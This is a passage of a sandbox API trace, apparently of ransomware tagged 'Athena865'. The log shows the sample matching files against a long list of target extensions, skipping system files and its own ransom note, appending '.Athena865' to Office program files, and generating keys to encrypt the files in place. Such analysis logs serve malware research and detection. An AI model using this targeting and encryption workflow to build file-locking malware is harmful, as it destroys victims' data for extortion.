lpString2="grdb") returned -1 [0084.873] lstrlenW (lpString="gwi") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="gwi") returned 1 [0084.873] lstrlenW (lpString="hdb") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="hdb") returned 1 [0084.873] lstrlenW (lpString="his") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="his") returned 1 [0084.873] lstrlenW (lpString="ib") returned 2 [0084.873] lstrcmpiW (lpString1="tf", lpString2="ib") returned 1 [0084.873] lstrlenW (lpString="idb") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="idb") returned 1 [0084.873] lstrlenW (lpString="ihx") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="ihx") returned 1 [0084.873] lstrlenW (lpString="itdb") returned 4 [0084.873] lstrcmpiW (lpString1=".ttf", lpString2="itdb") returned -1 [0084.873] lstrlenW (lpString="itw") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="itw") returned 1 [0084.873] lstrlenW (lpString="jet") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="jet") returned 1 [0084.873] lstrlenW (lpString="jtx") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="jtx") returned 1 [0084.873] lstrlenW (lpString="kdb") returned 3 [0084.873] lstrcmpiW (lpString1="ttf", lpString2="kdb") returned 1 [0084.873] lstrlenW (lpString="kexi") returned 4 [0084.873] lstrcmpiW (lpString1=".ttf", lpString2="kexi") returned -1 [0084.873] lstrlenW (lpString="kexic") returned 5 [0084.874] lstrcmpiW (lpString1="s.ttf", lpString2="kexic") returned 1 [0084.874] lstrlenW (lpString="kexis") returned 5 [0084.874] lstrcmpiW (lpString1="s.ttf", lpString2="kexis") returned 1 [0084.874] lstrlenW (lpString="lgc") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="lgc") returned 1 [0084.874] lstrlenW (lpString="lwx") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="lwx") returned 1 [0084.874] lstrlenW (lpString="maf") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="maf") returned 1 [0084.874] lstrlenW (lpString="maq") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="maq") returned 1 [0084.874] lstrlenW (lpString="mar") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="mar") returned 1 [0084.874] lstrlenW (lpString="marshal") returned 7 [0084.874] lstrcmpiW (lpString1="ess.ttf", lpString2="marshal") returned -1 [0084.874] lstrlenW (lpString="mas") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="mas") returned 1 [0084.874] lstrlenW (lpString="mav") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="mav") returned 1 [0084.874] lstrlenW (lpString="maw") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="maw") returned 1 [0084.874] lstrlenW (lpString="mdbhtml") returned 7 [0084.874] lstrcmpiW (lpString1="ess.ttf", lpString2="mdbhtml") returned -1 [0084.874] lstrlenW (lpString="mdn") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="mdn") returned 1 [0084.874] lstrlenW (lpString="mdt") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="mdt") returned 1 [0084.874] lstrlenW (lpString="mfd") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="mfd") returned 1 [0084.874] lstrlenW (lpString="mpd") returned 3 [0084.874] lstrcmpiW (lpString1="ttf", lpString2="mpd") returned 1 [0084.875] lstrlenW (lpString="mrg") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="mrg") returned 1 [0084.875] lstrlenW (lpString="mud") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="mud") returned 1 [0084.875] lstrlenW (lpString="mwb") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="mwb") returned 1 [0084.875] lstrlenW (lpString="myd") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="myd") returned 1 [0084.875] lstrlenW (lpString="ndf") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="ndf") returned 1 [0084.875] lstrlenW (lpString="nnt") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="nnt") returned 1 [0084.875] lstrlenW (lpString="nrmlib") returned 6 [0084.875] lstrcmpiW (lpString1="ss.ttf", lpString2="nrmlib") returned 1 [0084.875] lstrlenW (lpString="ns2") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="ns2") returned 1 [0084.875] lstrlenW (lpString="ns3") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="ns3") returned 1 [0084.875] lstrlenW (lpString="ns4") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="ns4") returned 1 [0084.875] lstrlenW (lpString="nsf") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="nsf") returned 1 [0084.875] lstrlenW (lpString="nv") returned 2 [0084.875] lstrcmpiW (lpString1="tf", lpString2="nv") returned 1 [0084.875] lstrlenW (lpString="nv2") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="nv2") returned 1 [0084.875] lstrlenW (lpString="nwdb") returned 4 [0084.875] lstrcmpiW (lpString1=".ttf", lpString2="nwdb") returned -1 [0084.875] lstrlenW (lpString="nyf") returned 3 [0084.875] lstrcmpiW (lpString1="ttf", lpString2="nyf") returned 1 [0084.875] lstrlenW (lpString="odb") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="odb") returned 1 [0084.876] lstrlenW (lpString="odb") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="odb") returned 1 [0084.876] lstrlenW (lpString="oqy") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="oqy") returned 1 [0084.876] lstrlenW (lpString="ora") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="ora") returned 1 [0084.876] lstrlenW (lpString="orx") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="orx") returned 1 [0084.876] lstrlenW (lpString="owc") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="owc") returned 1 [0084.876] lstrlenW (lpString="p96") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="p96") returned 1 [0084.876] lstrlenW (lpString="p97") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="p97") returned 1 [0084.876] lstrlenW (lpString="pan") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="pan") returned 1 [0084.876] lstrlenW (lpString="pdb") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="pdb") returned 1 [0084.876] lstrlenW (lpString="pdm") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="pdm") returned 1 [0084.876] lstrlenW (lpString="pnz") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="pnz") returned 1 [0084.876] lstrlenW (lpString="qry") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="qry") returned 1 [0084.876] lstrlenW (lpString="qvd") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="qvd") returned 1 [0084.876] lstrlenW (lpString="rbf") returned 3 [0084.876] lstrcmpiW (lpString1="ttf", lpString2="rbf") returned 1 [0084.876] lstrlenW (lpString="rctd") returned 4 [0084.876] lstrcmpiW (lpString1=".ttf", lpString2="rctd") returned -1 [0084.877] lstrlenW (lpString="rod") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="rod") returned 1 [0084.877] lstrlenW (lpString="rodx") returned 4 [0084.877] lstrcmpiW (lpString1=".ttf", lpString2="rodx") returned -1 [0084.877] lstrlenW (lpString="rpd") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="rpd") returned 1 [0084.877] lstrlenW (lpString="rsd") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="rsd") returned 1 [0084.877] lstrlenW (lpString="sas7bdat") returned 8 [0084.877] lstrcmpiW (lpString1="hess.ttf", lpString2="sas7bdat") returned -1 [0084.877] lstrlenW (lpString="sbf") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="sbf") returned 1 [0084.877] lstrlenW (lpString="scx") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="scx") returned 1 [0084.877] lstrlenW (lpString="sdb") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="sdb") returned 1 [0084.877] lstrlenW (lpString="sdc") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="sdc") returned 1 [0084.877] lstrlenW (lpString="sdf") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="sdf") returned 1 [0084.877] lstrlenW (lpString="sis") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="sis") returned 1 [0084.877] lstrlenW (lpString="spq") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="spq") returned 1 [0084.877] lstrlenW (lpString="te") returned 2 [0084.877] lstrcmpiW (lpString1="tf", lpString2="te") returned 1 [0084.877] lstrlenW (lpString="teacher") returned 7 [0084.877] lstrcmpiW (lpString1="ess.ttf", lpString2="teacher") returned -1 [0084.877] lstrlenW (lpString="tmd") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="tmd") returned 1 [0084.877] lstrlenW (lpString="tps") returned 3 [0084.877] lstrcmpiW (lpString1="ttf", lpString2="tps") returned 1 [0084.878] lstrlenW (lpString="trc") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="trc") returned 1 [0084.878] lstrlenW (lpString="trc") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="trc") returned 1 [0084.878] lstrlenW (lpString="trm") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="trm") returned 1 [0084.878] lstrlenW (lpString="udb") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="udb") returned -1 [0084.878] lstrlenW (lpString="udl") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="udl") returned -1 [0084.878] lstrlenW (lpString="usr") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="usr") returned -1 [0084.878] lstrlenW (lpString="v12") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="v12") returned -1 [0084.878] lstrlenW (lpString="vis") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="vis") returned -1 [0084.878] lstrlenW (lpString="vpd") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="vpd") returned -1 [0084.878] lstrlenW (lpString="vvv") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="vvv") returned -1 [0084.878] lstrlenW (lpString="wdb") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="wdb") returned -1 [0084.878] lstrlenW (lpString="wmdb") returned 4 [0084.878] lstrcmpiW (lpString1=".ttf", lpString2="wmdb") returned -1 [0084.878] lstrlenW (lpString="wrk") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="wrk") returned -1 [0084.878] lstrlenW (lpString="xdb") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="xdb") returned -1 [0084.878] lstrlenW (lpString="xld") returned 3 [0084.878] lstrcmpiW (lpString1="ttf", lpString2="xld") returned -1 [0084.878] lstrlenW (lpString="xmlff") returned 5 [0084.879] lstrcmpiW (lpString1="s.ttf", lpString2="xmlff") returned -1 [0084.879] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf.Athena865") returned 67 [0084.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf" (normalized: "c:\\program files\\microsoft office\\office14\\segoechess.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\segoechess.ttf.athena865"), dwFlags=0x1) returned 1 [0084.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\segoechess.ttf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.880] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38768) returned 1 [0084.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.880] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.881] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.881] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.881] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a70, lpName=0x0) returned 0x17c [0084.883] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a70) returned 0x100000 [0084.885] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.886] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.886] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.887] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.887] CloseHandle (hObject=0x17c) returned 1 [0084.887] CloseHandle (hObject=0x154) returned 1 [0084.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.888] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7d4f800, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdd891b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf7d4f800, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x94590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SELFCERT.EXE", cAlternateFileName="")) returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2=".") returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="..") returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="windows") returned -1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="bootmgr") returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="temp") returned -1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="pagefile.sys") returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="boot") returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="ids.txt") returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="ntuser.dat") returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="perflogs") returned 1 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2="MSBuild") returned 1 [0084.888] lstrlenW (lpString="SELFCERT.EXE") returned 12 [0084.888] lstrcpyW (in: lpString1=0x241e89e, lpString2="SELFCERT.EXE" | out: lpString1="SELFCERT.EXE") returned="SELFCERT.EXE" [0084.888] lstrlenW (lpString="SELFCERT.EXE") returned 12 [0084.888] lstrlenW (lpString="Athena865") returned 9 [0084.888] lstrcmpiW (lpString1="FCERT.EXE", lpString2="Athena865") returned 1 [0084.888] lstrlenW (lpString=".dll") returned 4 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2=".dll") returned 1 [0084.888] lstrlenW (lpString=".lnk") returned 4 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2=".lnk") returned 1 [0084.888] lstrlenW (lpString=".ini") returned 4 [0084.888] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2=".ini") returned 1 [0084.889] lstrlenW (lpString=".sys") returned 4 [0084.889] lstrcmpiW (lpString1="SELFCERT.EXE", lpString2=".sys") returned 1 [0084.889] lstrlenW (lpString="SELFCERT.EXE") returned 12 [0084.889] lstrlenW (lpString="bak") returned 3 [0084.889] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0084.889] lstrlenW (lpString="ba_") returned 3 [0084.889] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0084.889] lstrlenW (lpString="dbb") returned 3 [0084.889] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0084.889] lstrlenW (lpString="vmdk") returned 4 [0084.889] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0084.889] lstrlenW (lpString="rar") returned 3 [0084.889] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0084.889] lstrlenW (lpString="zip") returned 3 [0084.889] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0084.889] lstrlenW (lpString="tgz") returned 3 [0084.889] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0084.889] lstrlenW (lpString="vbox") returned 4 [0084.889] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0084.889] lstrlenW (lpString="vdi") returned 3 [0084.889] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0084.889] lstrlenW (lpString="vhd") returned 3 [0084.889] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0084.889] lstrlenW (lpString="vhdx") returned 4 [0084.889] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0084.889] lstrlenW (lpString="avhd") returned 4 [0084.889] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0084.889] lstrlenW (lpString="db") returned 2 [0084.889] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0084.889] lstrlenW (lpString="db2") returned 3 [0084.889] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0084.889] lstrlenW (lpString="db3") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0084.890] lstrlenW (lpString="dbf") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0084.890] lstrlenW (lpString="mdf") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0084.890] lstrlenW (lpString="mdb") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0084.890] lstrlenW (lpString="sql") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0084.890] lstrlenW (lpString="sqlite") returned 6 [0084.890] lstrcmpiW (lpString1="RT.EXE", lpString2="sqlite") returned -1 [0084.890] lstrlenW (lpString="sqlite3") returned 7 [0084.890] lstrcmpiW (lpString1="ERT.EXE", lpString2="sqlite3") returned -1 [0084.890] lstrlenW (lpString="sqlitedb") returned 8 [0084.890] lstrcmpiW (lpString1="CERT.EXE", lpString2="sqlitedb") returned -1 [0084.890] lstrlenW (lpString="xml") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0084.890] lstrlenW (lpString="$er") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0084.890] lstrlenW (lpString="4dd") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0084.890] lstrlenW (lpString="4dl") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0084.890] lstrlenW (lpString="^^^") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0084.890] lstrlenW (lpString="abs") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0084.890] lstrlenW (lpString="abx") returned 3 [0084.890] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0084.890] lstrlenW (lpString="accdb") returned 5 [0084.890] lstrcmpiW (lpString1="T.EXE", lpString2="accdb") returned 1 [0084.890] lstrlenW (lpString="accdc") returned 5 [0084.891] lstrcmpiW (lpString1="T.EXE", lpString2="accdc") returned 1 [0084.891] lstrlenW (lpString="accde") returned 5 [0084.891] lstrcmpiW (lpString1="T.EXE", lpString2="accde") returned 1 [0084.891] lstrlenW (lpString="accdr") returned 5 [0084.891] lstrcmpiW (lpString1="T.EXE", lpString2="accdr") returned 1 [0084.891] lstrlenW (lpString="accdt") returned 5 [0084.891] lstrcmpiW (lpString1="T.EXE", lpString2="accdt") returned 1 [0084.891] lstrlenW (lpString="accdw") returned 5 [0084.891] lstrcmpiW (lpString1="T.EXE", lpString2="accdw") returned 1 [0084.891] lstrlenW (lpString="accft") returned 5 [0084.891] lstrcmpiW (lpString1="T.EXE", lpString2="accft") returned 1 [0084.891] lstrlenW (lpString="adb") returned 3 [0084.891] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0084.891] lstrlenW (lpString="adb") returned 3 [0084.891] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0084.891] lstrlenW (lpString="ade") returned 3 [0084.891] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0084.891] lstrlenW (lpString="adf") returned 3 [0084.891] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0084.891] lstrlenW (lpString="adn") returned 3 [0084.891] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0084.891] lstrlenW (lpString="adp") returned 3 [0084.891] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0084.891] lstrlenW (lpString="alf") returned 3 [0084.891] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0084.891] lstrlenW (lpString="ask") returned 3 [0084.891] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0084.891] lstrlenW (lpString="btr") returned 3 [0084.891] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0084.891] lstrlenW (lpString="cat") returned 3 [0084.891] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0084.892] lstrlenW (lpString="cdb") returned 3 [0084.892] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0084.892] lstrlenW (lpString="ckp") returned 3 [0084.892] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0084.892] lstrlenW (lpString="cma") returned 3 [0084.892] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0084.892] lstrlenW (lpString="cpd") returned 3 [0084.892] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0084.892] lstrlenW (lpString="dacpac") returned 6 [0084.892] lstrcmpiW (lpString1="RT.EXE", lpString2="dacpac") returned 1 [0084.892] lstrlenW (lpString="dad") returned 3 [0084.892] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0084.892] lstrlenW (lpString="dadiagrams") returned 10 [0084.892] lstrcmpiW (lpString1="LFCERT.EXE", lpString2="dadiagrams") returned 1 [0084.892] lstrlenW (lpString="daschema") returned 8 [0084.892] lstrcmpiW (lpString1="CERT.EXE", lpString2="daschema") returned -1 [0084.892] lstrlenW (lpString="db-journal") returned 10 [0084.892] lstrcmpiW (lpString1="LFCERT.EXE", lpString2="db-journal") returned 1 [0084.892] lstrlenW (lpString="db-shm") returned 6 [0084.892] lstrcmpiW (lpString1="RT.EXE", lpString2="db-shm") returned 1 [0084.892] lstrlenW (lpString="db-wal") returned 6 [0084.892] lstrcmpiW (lpString1="RT.EXE", lpString2="db-wal") returned 1 [0084.892] lstrlenW (lpString="dbc") returned 3 [0084.892] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0084.892] lstrlenW (lpString="dbs") returned 3 [0084.892] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0084.892] lstrlenW (lpString="dbt") returned 3 [0084.892] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0084.892] lstrlenW (lpString="dbv") returned 3 [0084.892] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0084.892] lstrlenW (lpString="dbx") returned 3 [0084.892] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0084.893] lstrlenW (lpString="dcb") returned 3 [0084.893] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0084.893] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SELFCERT.EXE.Athena865") returned 65 [0084.893] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SELFCERT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\selfcert.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SELFCERT.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\selfcert.exe.athena865"), dwFlags=0x1) returned 1 [0084.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SELFCERT.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\selfcert.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.894] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=607632) returned 1 [0084.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.895] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.895] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.896] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.896] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x94890, lpName=0x0) returned 0x17c [0084.897] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x94890) returned 0x2d50000 [0084.924] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.925] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.925] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 